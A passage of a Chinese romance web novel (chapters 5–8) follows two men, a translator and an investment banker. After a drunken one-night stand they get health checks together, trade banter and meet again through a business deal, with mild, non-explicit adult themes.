场内的江总监甚至也不是无辜腿软,眼前种种意外,全起源于昨晚自己犯的混。 双方都没做对,互相道歉未免太奇怪,他们心照不宣,没纠结稚嫩的是非评判。 讨论负不负责更加滑稽,他们有独立人格,不是睡一觉就被占有的物件,可以各自为 5.吻痕 《我们可没有谈恋爱!》全本免费阅读 从酒店离开之后,江知羽先回了公寓。 之前两人统统醉得稀里糊涂,虽然醒来以后有过清洁,但做得简单潦草,他还是觉得身上有点难受。 江知羽泡进浴缸里,一边拆开巧克力,一边继续兢兢业业看戚述的发言稿。 嘶。 感觉腿根处有些刺痛,他低头认真瞧了眼。 野男人已经消失不见了,虎牙状的牙印留在自己身上,证明着一晚上的荒唐。 不仅如此,还有乱七八糟的暧昧印记,江知羽皮肤细白,稍一用力就容易留下这些东西。 公寓没买消除淤青的药膏,天知道自己用得上,好在这些痕迹可以被衣服挡住,不至于招来麻烦。 江知羽仰起脖颈望着天花板,回想那个男人的长相,还是觉得很符合审美。 但那人出入的场合……又是娱乐会所,又是豪华酒店,摆明了很会玩吧? 思及此,江知羽不再研究戚述有什么高论,而是预约了医院的检查。 尽管在屋内交换过体检记录,可他还是不太能放心。 附近的三甲医院平时需要抢号,今天是工作日能捡漏,江知羽正好排到下午最后一个。 然后,他从浴室出去,通读完稿件,正式开始写译文。 大概到了12点,周柯打来电话。 “好兄弟,中午出来吃饭么?我下午去松晟开会,在看甲方脸色之前,打算奖励自己改善伙食。” 江知羽横竖也要出门,道:“重油重盐的不吃,香料太多的不吃,海里游的和天上飞的不吃。你想去哪家?” 周柯本来想吃湘菜,感觉被疯狂扫射。 他怒骂少爷病:“你干脆在家吃白煮蛋吧!” 一扭头,两人在潮汕火锅店碰面。 江知羽去拿调料,难得没有一点辣,周柯怀疑他最近在忌口。 “你都那么瘦了,不可能要减肥啊?”周柯道,“而且你还跑朋友店里喝酒了吧?” 江知羽在朋友圈发过公开动态,庆祝陶奕白的酒吧开业大吉,周柯昨天忙着应酬,到了今早才点赞。 周柯羡慕:“我在忍辱负重哄客户,你的夜生活居然这么精彩。” 江知羽扯了下嘴角,心想,夜生活确实丰富,可他笑不出来。 下半场自己甚至一边流泪一边屁股开花。 “话说你今天去松晟干嘛?”他转移话题。 周柯回答:“谈谈项目细节,这么大的会议不可能即兴翻译,我们要对接前期材料。” 江知羽咬了一口牛肉丸,应声:“你和他们沟通得挺顺利?” 周柯说:“比我想象中的好说话,我就怕他们的老总太强势,昨天一见面还挺圆滑。” 项目由并购组的戚述主导,饭局第一顺位就是邀请这号人物。 但据说戚述太忙了,合伙人杨牧川代为赴约,与周柯推杯换盏。 杨牧川是投行的高层领导,按地位按态度,也给足了蒲音排场。 周柯耸耸肩:“管他们说的是不是借口呢,戚述没来正好,我最不擅长和这样的人打交道。” 江知羽有些惊讶:“昨天喊我的不是他?” 周柯和他解释了前因后果,江知羽蹙眉:“姓戚的不太好搞定,他不想和我们拉近距离。” “只要团队全力以赴,公对公别得罪他就好,他应该也不会没事找事。”周柯分析。 江知羽点点头,转而好奇:“你酒量怎么样?” 周柯没想到他会问这个,诧异:“干嘛?我是要拉业务的,自然是喝遍饭局无敌手。” 江知羽不信:“难道你没有上头过么?” “顶多吐得天昏地暗,脑子还是清醒的。”周柯说。 “我喝多了心里有数,不敢醉到那程度,怕醒来已经签好了卖身契,或者旁边躺着一个没穿衣服的大哥。” 江知羽用筷子戳着牛肉:“。” 说到这个,周柯敏锐猜测:“你问这个干什么,昨晚犯事儿了?” 江知羽哑口无言,暂时没编好理由:“。” “不过你一夜情没什么问题。”周柯幽幽地说,“换成我的话,别人肯定觉得亏了,少说得被敲诈个几十万。” 江知羽:“……” 行,难不成自己没被要钱,还算遇到老实人了? 事发突然,江知羽没反应过来,后知后觉有多么危险。 他心想,待会儿去医院还要顺路看看,自己器官是否保持完整。 之后他和周柯聊起笔译进度,因为毕业后转行没有经验,江知羽的事业生涯就是从这种基础业务起步的。 他初中就在海外生活,语感天赋也有优势,既能写出个人风格,又符合业内“信达雅”的标准。 看完江知羽目前的成果,周柯说:“挺不错,但会不会太锐利?” 江知羽道:“原作者就这么锋芒毕露,我保留了他的存在感。” 周柯为下午的会议捏把汗:“我怕是要被逼王切碎。” 江知羽瞧多了五花八门的甲方,周柯比起他更见多识广。 并且两边是平等的合作关系,蒲音也不是任由拿捏的小门小户,江知羽嘱咐周柯好好上路。 周柯问:“你等下有什么事?今天说话那么哑,感冒了么?” 江知羽道:“可能是最近风有点大,我被吹得不太舒服。” 话音落下,他暗自匪夷所思,难道自己用嗓子了吗? 可惜这个问题没答案,他总不能去找人确认。 “今天刮沙尘暴呢,我送你一程吧。”周柯上个月新买了一辆大G,兴头上就爱当司机。 江知羽想要推拒,却无法摆平老油条,就随便报了一个附近的地名。 他说自己去咖啡店酝酿灵感,周柯没有多想,看着他推门进去。 自己挂了四点多的主任号,现在时间还很早,江知羽想着,要不就在这里磨蹭一会儿? 可惜咖啡店全是实木椅,他毫不设防地坐下去,又吃一堑长一智地站起来。 江知羽吸了吸鼻子,生怕别人会发现他的笨拙,单手插在口袋里当拽哥。 紧接着,他摸到口袋里有纸团。 这套衣服尺寸很合适,江知羽在酒店穿上就走,根本没有多想。 现在他打开纸团,发现是酒店的便签,上面写了一串电话号码。 字迹端正漂亮,落款回敬般注了英文名。 Alfred,江知羽在心里念着,脑海不禁浮现出一张清冷的脸。 合着这人猜到了自己一出卧室就会跑? 江知羽困惑地盯着这张纸,没明白对方是在干什么,让自己有事可以联系? 那么纯情吗…… 他有点不敢相信,思考这会不会是其他意思。 随后,江知羽灵光一现,难道是欢迎下次再睡? · “李主任说您有空可以直接过去,他会在门诊科室等您。” 生活助理这么说完,戚述微微颔首。 他早上没来坐班,刚到办公室没多久,助理随即汇报接下来的日程。 “下午有一场对接会议,周总和蒲音的几位副总要过来,您参加么?”助理确认。 戚述那段时间没什么事,答应会过去旁听。 助理无意瞄到他的电脑屏幕,正巧是蒲音的人员信息,简历上的证件照赏心悦目。 旁边是姓名栏,写着“江知羽-Fannar”。 长得真好看,助理眼前一亮,但是自觉没多瞧。 之后他安静地离开,很快被八卦的员工包围。 大家左一句戚总心情如何,右一句戚总状态怎样,询问老板到底发生了什么事。 “他可是连年假都不休的人,为什么上午没来公司呀?” “对啊对啊,他出差还会改工作号的状态栏呢,飞机上都会秒回消息,今天什么声音都没有!” “本来首席就不要求固定坐班,事业狂终于不卷了就偷着乐吧。” 助理哪敢在背后暴露上司隐私,让他们赶紧去做正经事。 他无奈:“人家也有自己的生活,你们是要改行当狗仔?” 另外有人搭话:“新鲜嘛,今天杨牧川发现他不在,说事发突然肯定有猫腻!” 宽敞的茶水间,一群人拿腔拿调抓重点。 “猫腻?”大家异口同声。 话音落下,有冷淡的嗓音插进来。 “红茶泡得太浓了,喝着确实腻,麻烦你们让个路,挤在门口我没法倒。” 他们当即如遭雷击,自觉挤到角落,看架势就差给上司铺出一条红毯。 戚述没理睬他们,迈步到了水池边,径自倒掉温热红茶,换成了一杯冰美式。 其他人眼观鼻鼻观心,之前讨论得热火朝天,现在主角就站在跟前,他们却一个比一个惶恐。 员工们顾不上瑟瑟发抖,着急地退出这方空间。 但他报出某个名字,那人刚才跳得特起劲:“你的粉底液借我用一下。” 那人慌张:“哎?我一个男的,怎么会用化妆品?可能帮不到您啊!” “你上次在公司来不及下班,半夜躲来这里开女装直播,被我看到了。”戚述决定从今天起不再做好人。 旁观者纷纷石化,那人心如死灰:“对不起,好的我知道了。” 戚述脖颈上被咬出吻痕,不是很明显,乍看像是发红的蚊子包。 他特意换了衬衫,勉强遮掉一点,这个天气已经不适合穿高领了,所以没有办法完全挡住。 等会儿要参加会议,形象齐整在他看来是最基本的教养。 那人的粉底液与他肤色接近,戚述盖在吻痕上,脑海闪过江知羽的脸庞。 不知道江知羽在干什么。 他再嗤笑,感觉江知羽的素质不高,自己哪怕同样醉了,也知道不能咬在这种地方。 下午两点一刻,周柯与蒲音的高层准时到访。 “昨天没能见到戚总,我还跟杨总遗憾呢,现在终于有机会了。”周柯热情地伸出手。 戚述与他回握,顷刻便放开。 他慢条斯理地说:“抱歉,昨晚实在是有事走不开。” 周柯笑着跟他往楼上走:“多大点事儿啊,饭局上就是瞎聊,重要的事情还是要挪在大楼里。” 戚述看起来很有高冷感,性格也不太外放,周柯观察了一圈,下属们对他也多是敬重。 因为这么一个最初印象,周柯差点以为戚述会是沉默寡言的类型。 实际上完全相反,戚述貌似是懒得人情拉扯,到了谈判桌上就是另外一种样子。 不仅三言两语能把条条框框理清楚,而且轻而易举就掌握全场节奏。 端端正正坐在他的对面,周柯必须时刻专注,才不至于方向完全被戚述带着跑。 整场会议熬下来,周柯倍感吃力,在结束时猛然塌下肩膀。 大客户部的同事与戚述攀谈,戚述这时收起了强势,谈吐风度又保持着距离。 在同事提起稍后组个晚宴的时候,周柯附和了几声,但是戚述说不凑巧,等下他还有私事。 “下次我来请各位。”戚述道,“等口译团队定完人选,大家要辛苦好一阵。” 周柯见缝插针:“哈哈哈确实,我中午和江老师吃饭,他还在为稿子操心呢。” 戚述略挑眉梢:“江老师?” “江知羽,我们这儿的总监。”有人周全解答,“超人气选手。” “为什么这么说他?”松晟的秘书问。 6.牙印 《我们可没有谈恋爱!》全本免费阅读 放在一个小时前,门诊大楼人来人往,医生低声说这么几句关照,外面的真听不清楚。 可惜现在周围环境太安静了,江知羽甚至怀疑最后一段话会荡出回音。 他没有这么丢脸过,被医生提醒自己所遇非人,选男人的眼光疑似不太好。 江知羽沮丧着不吱声,悄悄地用余光观察着身后情况。 “对了,门诊部其他地方下班了,你去外面配药也行。” 医生打印完单子,仔细关照:“用药方法和次数在上面都有写。” 江知羽随之收回注意力,其实这次特意跑一趟医院,不止是因为红肿和咬痕。 他继而含蓄地提起,自己是不是应该做一些风险阻断。 医生立即意会:“你没用避孕套?” 江知羽听不得那么赤i裸的词,尤其物品的使用者就站在不远处。 他内心几乎是崩溃了,因为对方的存在感强烈,自己脸颊还知道泛红,一直染到了耳朵根。 “应该是用了的。”江知羽麻木地应声,恨不得找个角落遁走。 他的音量越来越弱:“但整个过程有点乱,是不是都记得用,我印象里模模糊糊……” 说完,江知羽再一次没憋住,往门口的方向瞟。 宽敞明净的走廊尽头,戚述衣冠楚楚站在那里。 身高少说有1米87,浑身打理得没有褶皱,纽扣系到最上面那颗,看起来有几分禁欲。 这道身影落在江知羽眼底,他还能清清楚楚地报出对方的三围数据。 然而,江知羽忍着腿根处的酸意,根本没有欣赏的心思。 狗男人有模有样,瞧不出来半点失态,江知羽视线有点凉,刮骨刀般想把这人剔干净。 在江知羽旁边,医生不明白这位患者怎么突然有了杀气。 医生结合情况产生了糟糕的设想:“话说你需不需要报警?” 江知羽再次回过神来,顿时没了气焰,又开始难为情。 论这场事故的起因,可能是对方率先报警。 看他不假思索地摇头,戚述联想到他早上的落荒而逃,没有克制自己的细微动静。 听着像笑,却夹着一点幸灾乐祸。 这惹得江知羽闹起别扭,哼哼着抬起下巴,故意摆出高傲的模样。 他俩隔空发脾气,医生则兢兢业业。 “那性对象有感染指标是阳性?符不符合高危条件?”他问。 面对医生,江知羽瞬间老实了。 “体检报告很健康,但我还是不太放心。”他用后脑勺冲着戚述,规规矩矩地说。 医生诧异:“多大点事,你找他确认一下啊?或者把他抓过来化验,省得你背地里乱猜。” 江知羽自幼来医院就很乖,配合治疗不吵不闹,被护士惊讶过怎么有这么懂事的小病人。 如今身体抽条,心智成熟,却低着头支支吾吾。 “不够熟,没那么大的本事去抓他,所以来看医生。” 医生匪夷所思:“昨晚刚上过床,把你折腾成这样,难不成他现在就跑没影了?” 虽然跑的人是自己,可江知羽一副受害者姿态,满脸单纯地点点头。 医生见多识广,能推测出大概状况。 他一猜一个准:“你们太不靠谱了,你和他是哪种不熟?不知道人家真名,也不知道人家背景,就知道长得有多帅?” 江知羽:“。” 医生让他往后多加注意,再开了化肿的药膏,指示他去隔壁机构做风险筛查。 快速法半个小时就能出结果,要不要吃阻断药自有判断。 江知羽礼貌地道谢,医生继而看着门口,登时感到困惑。 “怎么您也要跟着走了?”他问戚述。 戚述说:“我的情况差不多。” 他顿了顿:“而且我被硬塞了一大叠钱,感觉我遇到的更不是什么好人。” 医生:??? 开玩笑的吧,是谁胆大包天嫖了投行的首席啊? 他发出饱含同情的感叹:“天哪,你俩怎么都撞上渣男?” 江知羽:“……” 他不由地瞪了身旁的人一眼,戚述微微偏过头,缓慢地勾了下嘴角,瞧着很是绅士。 通过这个动作,江知羽看清楚戚述有两颗虎牙,给笑容增添了几分恶劣意味。 被衣物挡住的牙印还隐隐作痛,江知羽几乎是条件反射般脊骨发麻。 他感觉不妙,如猎物嗅到陷阱气息,迅速与人离远了些。 但离得再远又能逃到哪里去呢? 这会儿要结伴去机构,彼此根本就分不开。 江知羽被弄得狠了还没恢复,这时候堪堪支撑,装得一切如常。 与此同时,他小心翼翼地观察戚述,这人平时作风应该很利落,走路都比大多数人快。 最开始他还能跟上节奏,但步伐逐渐有些踉跄。 这时,戚述接到一通电话,江知羽看到联系人备注上写的是“妈妈”。 他新奇地竖起耳朵,对方也没避开自己的意思,手机里传来女人的声音。 “吃晚饭了么?”女人问,“阿树,这几天应酬多不多?” 江知羽机灵地捕捉到信息,原来这人在家叫做阿树。 “还没,刚下班不久,待会儿就去吃了。”戚述淡淡地回答。 戚母道:“别人让你去的那些酒水局,能推就推了吧,饭桌上乌烟瘴气的,不如回家吃点干净的热菜热饭。” “嗯,我知道。”戚述说。 戚母铺垫完,提议:“既然你还一个人饿着,要不要到这边来?今天我们多做了几道菜。” 戚述熟练地编造借口:“我这边有点小事,应该赶不上。” 听着他的语气不太寻常,戚母低声问:“你旁边还有人陪着?” “对。”戚述这次没撒谎。 戚母后面说得很轻,江知羽听不清楚,之后看戚述挂断电话,随即开始拿捏声调。 “阿树?你的小名比Alfred好听,是不是本名里带了一棵树啊?”他试探。 “不巧,没带这个字。”戚述说的是实话。 紧接着,他有来有往:“我也知道你家里怎么喊你。” 江知羽没相信:“你又没进过我家门,请不要造谣。” 戚述学着他阴阳怪气:“早上我要进门的时候,正好你奶奶和你发语音。” 他停了半秒,开口:“绒绒?” 奶奶这么喊的时候,夹杂着苏州方言,戚述字字清晰,另有捉弄意味。 江知羽向来伶牙俐齿,不可能一被调侃就哑巴,当即拒绝承认。 “胡说八道,不准喊了啊我警告你,有劳你叫我Fannar先生。”他用英文代称来拉远关系。 另外一边,戚述听到他的请求,觉得特别可笑。 他说:“Fannar先生,你现在挺会用敬语,不像昨天在我面前骂人。” 江知羽回忆片刻,眼前的男人确实没有撒谎。 不就是嘴了几句甲方大佬吗? 这点事干嘛记得那么清楚,怎么不说大半夜的他还贪得无厌,把自己抱到了窗边? 打住,再想下去记忆又要浮起来了。 江知羽闭了闭眼,任性地说:“那又怎么样,你找姓戚的揭发我呀。” 这么抬杠完,江知羽忽地感觉到哪里不对,现在自己走得并不吃力。 他再仔细一瞧,对方不知不觉放慢了脚步,似乎是特意配合自己。 江知羽从而愣了愣,别开头继续嘟囔。 “其实我没见过戚总,你想告状很难的,他办公室都在大楼最高那几层,要找他的话提前半个月预约。” 戚述询问:“你想见他?” “不想。”江知羽完全没纠结。 他眨眨眼:“不是一个世界的人,我们有公司合作而已,我不一定能接触到他……并且据我所知他很不好招惹。” 戚述瞥向他,假装惊讶:“真的假的?” “骗你干什么,金融民工都很麻烦,他们竞争环境太激烈,最是利己主义,眼里只有自己,看不见别人。” 江知羽这么说着,收住话头:“我不乐意得罪他这种人。” 戚述露出受教了的表情,早习惯被人敬而远之,因而没有做任何解释。 事实也如江知羽所讲,即便双方公司建立合作,只要戚述懒得管这种细节,他们之间就不会有什么交集。 江知羽不愿意与戚述有牵扯,戚述也没想过横生枝节,这不是自作多情么? 误打误撞睡了一觉,萍水相逢而已,戚述觉得自己可没有那么纯情,单方面去计较。 到了疾控机构,两人很快做完检查,结果都是不用担心。 7.气息 《我们可没有谈恋爱!》全本免费阅读 值班的药师在开小差,听到脚步声以后,发现是两个帅哥。 他们显然是一起过来的,却在门口磨蹭,不约而同地互相别开脑袋。 接下来,两人前后脚走进这间小药店,目光没有任何交错,好像在强行装作彼此没什么关系。 药师问:“你们谁配药啊?” 长相漂亮的青年仿佛无意路过,慢吞吞地在几排架子前挑选。 身形偏高大一些的男人递过单子:“有劳了,这些都有么?” 上面写的全是常见品类,药师回答没有问题。 她按照单子找东西,瞧见他俩围着药架兜圈子,还纳闷地多瞥了几眼。 结账的时候,戚述加了一盒退烧贴过去,既然不是高热没必要吃药。 药师看到戚述的耳朵还有点红,就简单以为是这个人生病了,随口叮嘱他这几天注意测体温。 之后离开店铺十几米远,江知羽这才跟到戚述旁边,接过药袋轻轻捧在怀里。 “一共124块3毛,我现在转你。”江知羽个性执着又要强,不乐意占便宜。 戚述简直是他的克星:“没关系,我咬出来的,应该我来付。” 一句话弄得江知羽噎住,登时没再提钱的事,生怕这人没脸没皮,敢把荒唐闹剧描绘得更加详细。 他生涩地说:“那谢谢你送我回来。” 戚述道:“你在茶几上放的美钞,够这车加油很多次。” 江知羽解释:“当时是收到你买的东西,我觉得这个应该自己承担。” 戚述提醒:“一套衣服不值那么多。” “剩下的就当小费吧。”江知羽终于找到机会当流氓,想要揶揄对方。 然而,戚述侧过脸来,表现得没有半分失态。 看到江知羽表情得意,他意味不明地扯了下嘴角。 “行,既然你对昨晚很满意,我被奖励也说得过去。”戚述回应得风轻云淡。 江知羽:? 想到自己床上流过的眼泪、尚且沙哑的嗓子、没有痊愈的痕迹,他差点没能稳住斯文。 随即,江知羽呛声。 “我是看在你订的衬衫蛮合身,很有主动服务的意识,没随便报个尺码。” “哦。”戚述收下表扬。 他澄清:“这实际和服务意识没什么关系,主要我一睁开眼,你就是整个人挤在我这里。” 江知羽:? 总感觉有好大一盆脏水迎面泼过来了! 戚述继续分析:“感觉你明显比我小一圈,所以还挺好估量的。” 江知羽:“。” 可惜他醒的时候,对方已经起床,自己在这个话题上完全没有优势。 此刻难道只能茫然地任凭污蔑? “我不可能挤在你那边的。”他坚持地嘀咕。 戚述顺着他说:“好吧,反正我胳膊被你枕了一晚上,只是僵掉了还没有脱臼,不然可以拍个CT当证据。” 江知羽不可思议,嘴硬:“可能是你自己睡相不好呢?” 戚述听他主动提起这茬,不禁觉得好笑,江知羽自己非要贴过来睡,转头居然颠倒黑白。 凌晨半梦半醒之际,戚述背对江知羽侧躺着,就感觉到江知羽的脑袋抵着自己的肩胛骨。 见状他往外挪动,再平躺下来,不料江知羽迷迷糊糊抬起腿,亲昵地架在自己身上。 戚述从而想把江知羽摇醒,但刚一转过去,江知羽就势钻进他的怀里。 这折腾得他毫无困意,酒劲也差不多消散了,干脆去浴室冲了冷水澡。 以江知羽这么恶劣的睡眠习惯,得是什么人才能在旁边躺得下去? 戚述淡淡地想着,却没有任何辩解,而江知羽把他的沉默当成了心虚。 江知羽记起疑点:“我今天一睁开眼,盖的就是羊绒毯,不是酒店的棉被……没错,你肯定还喜欢抢被子!” 戚述对此欲言又止,江知羽歪过脑袋瞧他,桃花眼微微眯起来。 “早上过得很混乱,我想你可能没心情看屋里具体是什么情况。”戚述慢条斯理地开口。 其实江知羽扫视过一圈,但潦潦草草地没细瞧。 倒无关情绪和状态,只是那些画面太有冲击力,谁敢去细细打量那些撕坏的布料啊? “被子都在床尾。”戚述说,“我起床的时候就是这样了,你的毯子是我让酒店送来的。” 江知羽有点愣:“为什么不盖棉被啊?” “湿光了,没有办法给你裹上。”戚述移开眼,“如果你还想追问被子为什么会湿……” 江知羽若有所感,这下立即喊停:“不好意思,我一点也不想知道!” 五月晚风清凉,天色已然黯淡。 在车水马龙的街边,他们隔着合适的社交距离,一边交谈一边等着红绿灯。 有外卖骑手横冲直撞,差点擦到江知羽,戚述反应很快,先一步把他拉到身后,两人从而靠得很近。 这位外卖骑手匆匆把车头一拐,险些惯性摔跤,继而意有所指地嚷嚷。 他理不直气也壮:“靠,这些臭情侣,能不能别在斑马线上搞同性恋啊!” 闻言,江知羽头皮发麻,作势就要吵架。 可那人说完就开溜,自己的手腕还没被放掉,罪魁祸首就没影了。 他闷闷地转回头,戚述几乎是同时松开了手。 气氛变得有些微妙,现在彼此几乎是肩并着肩,江知羽想要离远一点。 但主动后退的话,是否显得自己多虑和笨拙? 他决定不往外挪动了,心想,反正Alfred长得帅,近看也很养眼。 就是性格不太好,感觉很强势,这种人靠陪局赚钱真的能吃饱? 江知羽琢磨着,又想起Alfred的妈妈刚才来电,让人少去应酬场合。 结合Alfred的吃穿用度,车子和房子价值不菲,估计工作属于寻常玩票,为了打发无聊所以去酒桌上牵线人脉。 这样的富家子不少,江知羽家庭条件好,认识一些类似的人。 自己工作则兢兢业业,做翻译看着时间灵活收入可观,但背后要付出许多努力,接大项目的话强度也很大。 眼下,他与一夜情对象走在街边,脑海里开始惦记松晟的稿件。 江知羽没主动说话,戚述也不吭声,然后是酒店公寓的管家打破了他们的安静。 “江先生,你刚下班?”管家在门口看到熟人,很热心,“吃过饭了没有?” 他们已经走到铂曼公馆,整个建筑装潢气派,大堂布置了前台、待客厅和咖啡馆等等功能区域。 这时候貌似在做讲座活动,拉着横幅播放PPT。 “今天我们配合街道做宣传,提高大家的安全意识。您现在空不空啊?可以来参与一下,我们会发礼物。”管家解释。 江知羽醉完这一场,现在安全意识非常高,感觉自己不需要听讲座。 可管家无奈地说起难处,今天是工作日,好多住户都没下班,照片拍出来不符合人数要求。 大家僵持在这里小半天了,十多分钟能搞定的事情愣是奔去了半小时。 “需要去哪里报名和答题吗?”江知羽好心问。 管家摇头说不用,听完讲座就可以拿礼物,公寓给大家准备了棉花公仔。 江知羽早过了喜欢玩具的阶段,不过自己反正没急事,交稿也不差这一时半会,社畜理当互帮互助。 进而江知羽走到后排沙发坐下,戚述来到他的旁边相继落座。 “前面有人在看你。”戚述说,“你们认识么,你要不要换到那边去?” 江知羽习惯了被人偷看,现在不忘与戚述做对。 “不行,我屁股痛。”他道。 某三个字太让人猝不及防,戚述不由地顿了下。 “那你先回去休息吧,你想帮这个管家的忙,我可以喊人来凑数。” 江知羽暗自嘀咕,你能喊哪些人过来呢?不会都是俊男靓女模特队吧? 那样拍出来能是安全宣传吗,画面看起来像人间天堂,每个人都有一张不用上班的脸。 江知羽道:“不用,最近正好要竞选一个项目的带队,我给自己攒点人品。” “你很看重那份工作?”戚述似是好奇。 江知羽说:“我没主导过那么重要的会议,甲方的规格也非常高,履历上需要这么一笔。” 戚述说:“级别越高的甲方越求稳。” 意思就是大公司更看重经验,很少会挑中一个资历尚浅的年轻人。 江知羽蹙了下眉,认真回答:“他们是投资银行,我本科读宏观经济,比语言专业的同事有基础,感觉可以试试。” 戚述看向他:“那你为什么没做金融?” “不喜欢啊。”江知羽回答,“实习过半年,我不想和那群狐狸成精的天天见,还是改行捞他们的钱吧。” 讲到这里,他补充:“要是没选上也无所谓,他们的首席给我的直觉不太好。” 戚述轻轻嗤笑:“落选了就可以自我安慰,当是逃过一劫?” 江知羽伶牙俐齿:“不,那样是正好符合我的直觉,敢情戚述那家伙眼光不行。” 他们在角落处交头接耳,本来各自坐得端端正正,这会儿你一言我一语地讨论,两颗脑袋不知不觉就贴拢了。 戚述听到江知羽又来抹黑自己,本来凉凉地想瞥去一眼,但 8.来电 《我们可没有谈恋爱!》全本免费阅读 江知羽向松晟发送完反馈,算是搞定一桩心事。 刚才怕吃饱了容易犯困,他一直饿着肚子,这会儿终于有工夫点外卖煮开水。 之后笨手笨脚上完药,江知羽懒洋洋窝回床上,酝酿睡意之际,翻了一会儿邮箱。 他发的邮件旁边多出了一个绿色的勾,代表松晟的秘书已经接收到反馈。 不知道其他同事交稿了没有,江知羽笔译技巧成熟,平时的出活速度在公司排得上号。 要不是醉酒误事,今天早上就该完工,不过他应该没有比同事们迟太久。 如果松晟那边现在在加班,说不定都权衡出筛选结果了。 江知羽捧着手机没事做,顺着做白日梦,想象秘书打开笔译文档,满意地从第一行看到了最后一行。 然后呢? 接下来该主动联系他了吧? 被甲方连夜拨打电话,祝贺自己被选为本次项目的团队负责人,再紧急敲定档期,邀请自己去松晟大楼进一步详谈…… 江知羽构思得越来越精彩,现实的手机却半天没有新消息。 “怎么还没打啊?”他趴在枕头上,额头还捂着退烧贴。 紧接着,他开始找理由:“简历上的手机号没有问题啊,是不是戚述的电话费最近不够用呢?” 胡思乱想地在床上琢磨了一会儿,江知羽沉沉进入梦乡。 周末过得很安稳,他去哪里都嫌累,干脆宅在家里看电影。 之前略微有一点低烧,搞得江知羽有点头晕,这倒是很快痊愈了,热度好似随浴缸的温水一同流走。 膝盖的淤青泛着点紫色,看起来有点严重,实际上不怎么疼。 江知羽回想自己也没怎么被摆弄,这样是不是太经不起磕碰? 无论怎么说,他整个假期过得舒坦,打着养伤就要补营养的旗号,每天喂自己好几顿。 期间,陶奕白约他去夜店再聚,江知羽下意识地推拒。 狠狠栽过跟头没多久,他腿侧的那枚牙印勉强褪干净,这时听到喝酒简直有了应激反应。 江知羽也闲不住了,本身他的事业心就很强,让他歇假五天是休息,超过一周就成了煎熬。 这阵子天气晴朗,气候升温很快,醉倒时被扯坏的还是衬衫,如今街边行人个个换上短袖,俨然是夏天的光景。 写字大楼常年恒温,人人西装革履,江知羽今天没正式场合需要出席,一身条纹三件套很是休闲。 “江总监,最近听说你在休假,那么早就回来上班了?”同事与他打招呼。 江知羽叹气:“在家天天纠结点外卖,来这儿还能跟着大家蹭工作餐。” 同事揶揄:“那你赶紧谈个对象,为你洗手作羹汤,家里能开火就不会惦记吃盒饭了。” “没万哥这么好的福气,嫂子漂亮又贤惠。”江知羽客套地说。 “你也就是不乐意找。”同事拍了拍他的肩膀。 紧接着,同事随口关心:“话说你们竞聘松晟的峰会,确切结果出来了没有?” 江知羽道:“我没收到消息,你这儿有风声吗?应该差不多该联系了。” “刚过一个周末,他们估计今天才开始推进。”同事道,“你没托人去打听一下?” 江知羽摇摇头,姿态很散漫。 “这种事就没必要花人情了,除非认识戚述这种能拍板的,否则也就是早晚拿结果的差别。” 他们一起走进大客户部门,下属看到他来了,纷纷和江知羽打招呼。 “许一晗,你等下要去新国展做同传?”江知羽点名问。 许一晗刚试用转正没多久,没想到上司会记住自己的日程,连忙交代细节。 “我中午去确认场地和设备,开完会还有一场商务晚宴,我到时候要陪同。” 这种陪同要夹在中间传话,虽然坐在饭桌前,但心思扑在各方交流上,肯定吃不上两口饭。 江知羽提醒:“噢,去超市买点面包备着吧,下午我跟你一起去。” 同声传译很考验心态,许一晗入行没多久,这会儿压力很大。 得知江知羽能在现场看着点,他好似吃了一颗定心丸,立即拍马屁要点奶茶。 “我最近就喝白开水。”江知羽的嗓子哑了两三天,好不容易恢复清亮。 许一晗去茶水间倒了杯水回来,有人跟在他屁股后面,进门就往江知羽的方向张望。 “小江,听说你下午也跑新国展?”那人开口,“怕你家的新人闯祸啊?” 江知羽接过陶瓷杯,道:“有萧老师在,我当然放心场面镇得住,就是我最近待在家里太无聊了,找机会出去走走。” 一场标准会议的同传至少需要两个人,今天是许一晗和萧徽互相协作。 后者是隔壁口译部门的经理,有他在旁边把关,的确出不了什么岔子。 萧徽揶揄:“我还以为是松晟没打来电话,你等得心急了。” 他们都在名单上面,可以说是竞争关系,这类选拔非常常见,江知羽不会为此心里有挂碍。 他游刃有余地应付了几句,下午提前抵达展馆,门口已然停了不少车。 江知羽看了眼物料,上面标的是某个财经论坛,举办方是一所专业类大学联合了相关报社,性质更侧重于学术交流。 两位同事一下车便团团转,忙着在外接洽,江知羽走进同传箱,有条不紊地帮忙测试设备。 过了会,同事们也过来了,江知羽喊住许一晗,又交代了几句要点。 “不用太紧张。”萧徽摆出大前辈的姿态,“要是被吓得大脑空白,效果反而不好。” 距离开场还有半个小时,口译员认真翻看准备的资料,江知羽坐在许一晗旁边,观察着场内的状况。 邀请的嘉宾来自各个领域,门槛应该很高,他认出来的几家公司都在业内很有名气。 尽管如此,他们却没能坐到前面,被安排在中间段的位置。 江知羽琢磨着,打听:“话说你们的晚宴在那儿办?” “瑞银饭店。”许一晗回答。 与此同时,戚述在会场的前排落座。 他侧过头,低声与秘书说:“晚上他们还要去瑞银吃饭?我不去了,让他们另外安排。” 这几天戚述摆明了心情不好,总是冷着一张脸,秘书因而反思多次,却一直没盘算出来,究竟是哪位祖宗得罪了领导。 此时她不想触霉头,听到戚述要翘班,随即表示自己马上去安排。 等会儿论坛就要开场,在他们周围,主办方正给海外嘉宾发放耳机,调整收音频道用于实时传译。 戚述心不在蔫地看了会儿,让秘书也去帮忙拿一个。 “什么?”秘书没理解他的用意。 戚述说:“他们刚才说自己请了蒲音的人。” 秘书很愧疚:“原来是这样,我没有注意到,您居然一耳朵就捕捉到了!” 戚述没多解释:“碰巧而已,我听一下质量。” 没想到戚述居然这么周全,秘书一边应声,一边问主办方要来了两副耳机。 待到主持人开始发言,耳机里传来男人的声音。 温厚沉稳,描述得很精准,也容易理解。 秘书分辨了一会儿,与戚述介绍:“这位应该是萧徽,他的译稿也不错,水平非常稳定。” 戚述淡淡应声,秘书揣摩:“这边还没有联络江知羽,既然没有对外定下来,现在换人也来得及。” 她感觉戚述的态度很模糊,不过萧徽发挥得确实好,有时候就是突然偶然抓到表现的机遇,或许可以改变整个轨迹。 半个小时后,同传人员进行了固定轮换,嗓音明显变得稚嫩。 不过那个人基础功扎实,眼下驾驭得住,戚述听了一会儿,不着声色地望向同传箱。 场馆太大,隔得太远,根本看不清里面究竟有几个人。 戚述很快就收回了视线,而台上人讲到激动处,不自禁开始脱稿,洋洋洒洒地表达最新观点。 节奏被这样猛然打乱,翻译的声音迅速绷紧,勉勉强强地向听众们传递信息。 